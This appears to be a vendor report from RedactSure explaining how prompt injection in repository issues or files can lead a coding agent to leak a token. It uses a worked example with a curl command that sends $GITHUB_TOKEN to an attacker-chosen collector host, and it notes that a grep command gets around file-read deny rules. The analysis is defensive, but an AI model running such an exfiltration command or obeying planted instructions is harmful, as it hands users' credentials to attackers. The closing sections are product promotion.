Skip to content
redactsure
Book a demo

Explore.

Data Report · By Chris Sowa · Published
Last updated

Can a Coding Agent Be Tricked Into Sending My Token to Another Server?

Yes, if the agent holds an unexpired token and can reach a host the attacker chose, because the token in the model's context is the payload and any request the agent composes can carry it. Check two things separately: the destinations a request may reach, and whether the agent ever holds the real value.

A credential reference travels from a browser record through a bounded route to a separate API destination.

Any team that gives a coding agent the credentials its task needs is trusting it with a token, the easiest of those credentials for someone else to use. The leak does not require the agent to hand anything over on purpose. An instruction hidden in a repository file, an issue comment or a package script asks for a request to a host, and the agent, working through the task, composes one. So the question splits in two: whether the agent holds a string worth sending, and whether a request can reach a host the attacker chose. The two halves fail differently, and the difference decides which control a team should add first. A request that leaves carries whatever the agent had when it composed the command, and that is the part a control can change. A token displayed on a page is a rendered value; a token in a shell variable is an environment value, and the controls that cover each are not the same. The recorded case of a curl to an attacker host, sent once with a live token and once without it, shows the difference, read against what OpenAI and Anthropic document about network access and credential custody in their coding agents. The control a team should add is the one that holds when the injected instruction is never caught.

Key findings

  • A study of browsing AI agents lists "prompt injection, domain validation bypass, and credential exfiltration" among its findings and demonstrates "how untrusted web content can hijack agent behavior," which places the leak in the reading step and not only in the network path (Mudryi et al., 2025).

  • OpenAI's Codex documentation states that "by default, the agent runs with network access turned off" and that the agent asks for "approval to edit files outside the workspace or to run commands that require network access," a path control that does not say which credentials the agent holds (OpenAI, Agent, 2026).

  • Anthropic's Claude Code documentation states that "GitHub credentials are stored encrypted on Anthropic's servers and never enter the session VM" and that "the VM holds a short-lived credential scoped to that session," custody it describes for cloud sessions and not for a local run (Anthropic, Security, 2026).

  • Permissions decide what an agent may do, not what its model reads: an account with least privilege can still render a live token to the model on a settings page, and the model keeps it for the rest of the run (What Is Least Exposure?).

  • A tether describes authority and not capability, so an agent allowed to act on a repository acts with whatever string it is carrying, and the useful question is what that string is (What Is a Tethered Agent?).

Which half of a token leak does a browser control cover?

A governed browser environment governs the rendered page: the dashboard, console, settings page or sign-up form the agent is working, and what it reads and does there. It does not cover the terminal, the IDE, the local filesystem, direct API calls or MCP. A token is created, displayed or rotated on a rendered settings page, and it is used in a command, a file or a request that a tool makes.

The record for this page is one request. A coding agent working in a repository reads a page that shows a token, and an instruction planted in an issue asks it to send that token to a host the attacker controls. The agent composes a curl and runs it. The curl is a command, so the browser boundary does not govern it; the settings page that showed the token was rendered, so that half is inside. Connected apps widen the first half: with connected apps an agent can access sensitive data like emails, files or account settings, as Is It Safe to Let ChatGPT Work Access Sensitive Company Data? records. A durable top-level credential is what makes the attempt worth making, which is why AWS "strongly recommends not creating access keys for the root user" (Is It Safe to Let an AI Agent Set Up Your Cloud Environment?, 2026).

The split also changes what to ask a vendor. If the token reaches the model on a page, ask what the page rendered. If the token sits in a file the agent can open, or in the environment of the shell it runs, ask what the agent can read there. The screen, the API and MCP are three routes to the same value, and each exposes only the operations its author chose (Should AI Agents Use Screens, APIs or MCP?).

What happens when a hijacked agent curls an attacker host with and without the token?

The record is one command. An agent is working a repository, and an issue comment asks it to confirm a deployment by posting the result to a host. The instruction is plausible and the task is real, so the agent composes curl -s "$COLLECTOR/check?k=$GITHUB_TOKEN" and runs it. With a live token in its environment the request leaves and the host records it, and the command looks no different from the work the agent was asked to do.

Take the token away and the same command sends an empty parameter. The agent still followed the instruction, the request still left, and the attacker collected a timestamp, an address and a user agent instead of a credential. The instruction was never caught in either case. What changed is only what the request carried.

The attack needs two things: an instruction the agent will follow, and a value within its reach. The research record covers both. Browsing agents have been shown to leak credentials to untrusted content (Mudryi et al., 2025), and the demand at the other end is measured: Sonatype reported that "56% of the malware discovered in Q1 2025 was related to data exfiltration," "a dramatic increase from 26% in Q4 2024" (Sonatype, 2025).

The value can travel in a URL, a header, a cookie or a body, and the agent does not need to understand the encoding for the request to work. It can also travel without the model composing anything at all: a command that writes the environment to a file, followed by a request that sends the file, reaches the same host.

What do the vendors themselves say?

OpenAI documents the network side for Codex. "Locally, Codex uses an OS-enforced sandbox that limits what it can touch (typically to the current workspace)," and "by default, the agent runs with network access turned off." A request to a host the attacker chose does not leave unless a person allows it: "Codex asks for approval to edit files outside the workspace or to run commands that require network access" (OpenAI, Agent, 2026). That is a path control, and it says nothing about which credentials the agent holds.

The cloud page documents the same idea as a list: "By default, Codex blocks internet access during the agent phase," and the guidance is to "allow only the domains and HTTP methods you need, and review the agent output and work log" (OpenAI, Codex Cloud, 2026). The page also states that "setup scripts still run with internet access so you can install dependencies," a window before the agent phase, and it marks itself Legacy.

Anthropic documents custody for Claude Code cloud sessions. "GitHub credentials are stored encrypted on Anthropic's servers and never enter the session VM," and "the VM holds a short-lived credential scoped to that session" (Anthropic, Security, 2026).

The permissions page is where a local token usually sits: a Read deny rule blocks Claude's file tools, and "if your project has a .claudeignore file, it has no effect, so move its entries into Read deny rules." The rules also "don't apply to a command that reads files without naming them, such as grep -r pattern . run from the directory that holds the file" (Anthropic, Configure, 2026). What a model reads on a rendered settings page is not described in the pages reviewed, and that is the half this page's question turns on.

Dimension OpenAI Codex, per its documentation Anthropic Claude Code, per its documentation What a buyer should verify
Default network Network off by default locally; internet blocked during the cloud agent phase Sandbox "with filesystem and network isolation" for bash commands Whether the default holds in the mode the team uses
Path from the token Not described for local CLI or IDE sessions Credentials held by Anthropic, "never enter the session VM," short-lived for that session Who holds the string, and for how long
A command a person approves Approval covers commands that require network access "The boundary is a permission prompt," and an approved command can write anywhere the account can Whether a person reads the command before it runs
File reads Not described for local sessions Read deny rules; .claudeignore has no effect; a command that reads without naming the file is not covered Whether the rule covers the way the string is actually read
What the model reads on a page Not addressed Not addressed Whether the screen shows a token instead of the value

Why does an allowlist not stop a token the agent already holds?

An allowlist is a statement about destinations, not about payloads. It says which hosts a request may reach, and not what the request may carry. If one allowed host can be made to record a URL or a header, the token leaves through the allowlist, because the request is allowed and the credential is inside it.

The cloud guidance states the design plainly: "allow only the domains and HTTP methods you need, and review the agent output and work log" (OpenAI, Codex Cloud, 2026).

The same limit appears at a gateway. Databricks describes Unity Gateway as "the Databricks governance solution for enterprise AI," built on Unity Catalog and governing traffic between models, agents, MCP servers and tools "once that traffic is routed through the platform" (RedactSure vs Databricks: 2026 Comparison & Alternative, 2026). A gateway records a request leaving; it does not change what the agent holds before the request is composed.

MCP guidance draws the same line for tokens. "MCP servers MUST NOT accept any tokens that were not explicitly issued for the MCP server," which scopes a token to one server, and the string is still the client's to lose (Model Context Protocol, 2026). Scope decides what a stolen token can reach, and it does not decide whether the token can be stolen.

What the allowlist buys is real: an attacker has to use a destination the organization already trusts, which usually means a service that logs and can be reviewed. The token is still in the agent's context, and the destination is chosen by whoever wrote the instruction, within the list the organization approved.

What changes when the agent never holds the token?

Custody means a component outside the agent holds the string and makes the call. OWASP's guidance applies it to credentials: "Prefer using temporary credentials over static credentials," and "avoid sharing the same set of credentials across multiple contexts" (OWASP, 2026).

An adapter is the same design at the boundary of the agent's process. The agent names the operation it needs, the code outside the sandbox holds the credential, and the credential is used for that operation and no other. The agent can still be tricked into asking for the wrong operation, so the approval sits at the adapter and not in the model. What it cannot do is send what it never held.

Custody has to cover the environment as well as the model's context. A coding agent installs packages, and an installed package runs code that can read every variable the agent's shell exports. SecretBench records "a labeled dataset of source codes containing 97,479 secrets (of which 15,084 are true secrets)" (Basak et al., 2023), and code generating models invent package names at a rate of "at least 5.2% for commercial models and 21.7% for open-source models" (Spracklen et al., 2025). An agent that installs an invented name hands its environment to code nobody reviewed.

A token in an environment variable is in the agent's reach even when the model never prints it, and the custody question covers the whole run: which process holds the string, which process can read it, and what happens when the agent installs something. The population of agents in that position keeps growing: McKinsey's State of AI 2026 found 62% of organizations experimenting with AI agents and 23% scaling them anywhere (How to Use AI Agents for Google Cloud Deployment).

What does a governed environment change?

A governed environment acts where a page is rendered, before a model reads it. Values chosen by policy are replaced with consistent tokens for the whole run, so a token panel on a settings page shows TOKEN_001 on every screen and in every action that follows, and the model composes what it needs with the placeholder. The substitution happens in the page the model receives, not in the request it later writes.

Real values resolve only at approved destinations, at the moment of an approved action. A named person confirms which values are tokenized and approves each consequential submission or record change. Every screen as tokens, every action and every approval is written to a record that exports to the organization's own monitoring. The model can describe the action it wants in the page's own controls, and it cannot substitute a value it was never shown. A record of that kind is what makes the approval reviewable later by a person who was not in the run.

For this page's question the change is where the string lives. In the reviewed products, the route and the credential are separate controls with separate owners: an allowlist belongs to the sandbox or the cloud environment, and a proxy belongs to the vendor's session. In a governed environment the model never holds the value a request would carry, so a request composed with a placeholder can be recorded, and the real value waits at the destination a person approved. The terminal is still outside it, and a curl typed into a shell carries whatever that shell holds; the custody of the environment around the agent is the other half of the answer.

Methodology and limitations

This page rests on vendor documentation from OpenAI and Anthropic, three preprints (one on browsing agents, one on package hallucinations, one on credentials in source), the Model Context Protocol specification's security guidance, OWASP's CI/CD credential guidance, Sonatype's Q1 2025 package research, and the RedactSure research pages cited in the body. Sources were chosen because their recorded fact bears on where a token can go, and pages whose facts did not bear on it were left out. Each fact is taken from the page listed for it and each quotation is that page's wording. Vendor pages were read as of October 20, 2026, and each Sources line carries the date for its page.

No product was tested hands on for this page, and no request was sent from a live agent. "Not described in the pages reviewed" means the documentation recorded for that page does not cover the point, not that the vendor does nothing. Vendor features change, and every statement here carries the date it was read; the pages describe the products as they stood on that date, not as a commitment about the next release. RedactSure statements describe current design, and RedactSure is deploying now with enterprise and government customers. The example describes a record type, a token panel and a webhook form on a repository settings page, not an organization.

Determinations about a specific deployment belong to the organization's counsel, its assessors and its own security and compliance officers. Where a vendor page describes a control and not its enforcement, this page says what the page documents and leaves the enforcement question open. This page records what the documentation says and what a control would have to do; it does not decide whether a given setup meets a given obligation, and a vendor's silence is a question for the vendor.

What the record shows

Across the reviewed pages the answer holds: the token leaves if the agent holds it and a request can reach the attacker's host, and the two controls act on different halves of that sentence. Codex documents a network that is off by default and an approval for commands that need it; Claude Code documents a proxy that keeps GitHub credentials out of the session VM and permission rules that a command can go around. Neither page describes what a model reads on a rendered page, and neither claims to. A useful test needs only one agent and one task: ask which value the task needs, where the agent reads it, and whether a request to an unrelated host can leave at all.

Frequently asked questions

Can a coding agent really send my token to another server?

Yes, when two conditions hold at once: the agent has the token in its context or can read it, and it can reach a host that will accept the request. A comment, a file or a package script can supply the instruction, and nothing in the model has to malfunction for the request to leave. The condition a team can remove is the token in reach, not the willingness of a model to follow instructions. The request does not need a defect to leave.

Does a network allowlist stop the token from leaving?

It narrows the routes a request can take and leaves the payload unchanged. If any allowed destination can record a URL or a header, the token can leave through an approved path. An allowlist still earns its place, because it removes the unattended route and pushes an attacker into a service the organization can review. It closes the route, not the possession. A list that includes a package registry, a paste service or a webhook endpoint includes places where a value can be written down and read back.

Does a sandbox keep the token out of the agent's reach?

A sandbox limits what a process can touch, and the token still has to live somewhere. If it sits in a file inside the sandbox, the agent's file tools can read it; if it sits in an environment variable, any code the agent runs can read it. Anthropic's documentation states that a deny rule does not cover a command that reads files without naming them. A sandbox narrows the reach of a process, not of a value it was given. One rule covers one path.

Does a short-lived or scoped token solve the problem?

It shortens the window and lowers the value of what is taken, which is why OWASP advises temporary credentials over static ones and against sharing one credential across contexts. It does not change the event: a hijacked agent holding a token can send it in the first minute of its life. Scope and lifetime reduce the damage after a request leaves, and they do not decide whether it leaves. Shortening the life reduces the value of what is taken and not the fact of the taking.

Where does a coding agent usually find the token?

In a file the project keeps, in a variable exported in the shell it runs, in a credential helper, or on a rendered settings page where a token was created or copied. The first three sit outside a browser control and the fourth is inside it. A useful inventory lists every one of those places for the single task under review, because a control at one of them says nothing about the others. A copy pasted into a note sits in the same position as one in a file.

What should I check before I let an agent use a token?

Name the task, the token it needs and the host that token belongs to. Then ask what the model reads on the way, which destinations a request may reach, and who approves a submission that carries the value. If the model reads the real string on any screen, the other controls limit the damage from that one exposure rather than prevent it. Write it down before the run, because the run leaves no other record of what the agent held.

About the author

Chris Sowa is a founder of RedactSure and a former CEO of an AI company; he started it years before ChatGPT existed. He previously led AI at Accenture, served as Global VP of Strategy & Innovation at Schneider Electric, was CCO of Sovos, and spent more than a decade at Oracle, with earlier roles at SAP and IBM.

How RedactSure Keeps a Live Token Out of a Hijacked Request

An allowlist decides where a request may go and leaves the payload alone, and a proxy holds one session credential, so neither changes what the model sees.

The environment that enforces this is built by RedactSure, an AI agent controls, governance and data protection company.

Before, on a repository settings page with a token panel and a webhook form, the model read the live token and pasted it into the header field. Inside the governed environment the panel renders TOKEN_001, the model submits the form with the placeholder, and the named person approves the webhook.

RedactSure is deploying now with enterprise and government customers. Sonatype put data exfiltration at 56% of the malware it recorded in Q1 2025.

Everyone else controls where data can go. RedactSure controls what the AI can see.

See it on your own workflow

A hijacked request can only send a token the model has read. Bring a settings task such as adding a webhook and see, with test values, what the model reads in the token panel and what the form submits. Book a demo

Book a demo

Book a demo

Having trouble? Open the booking page or email us.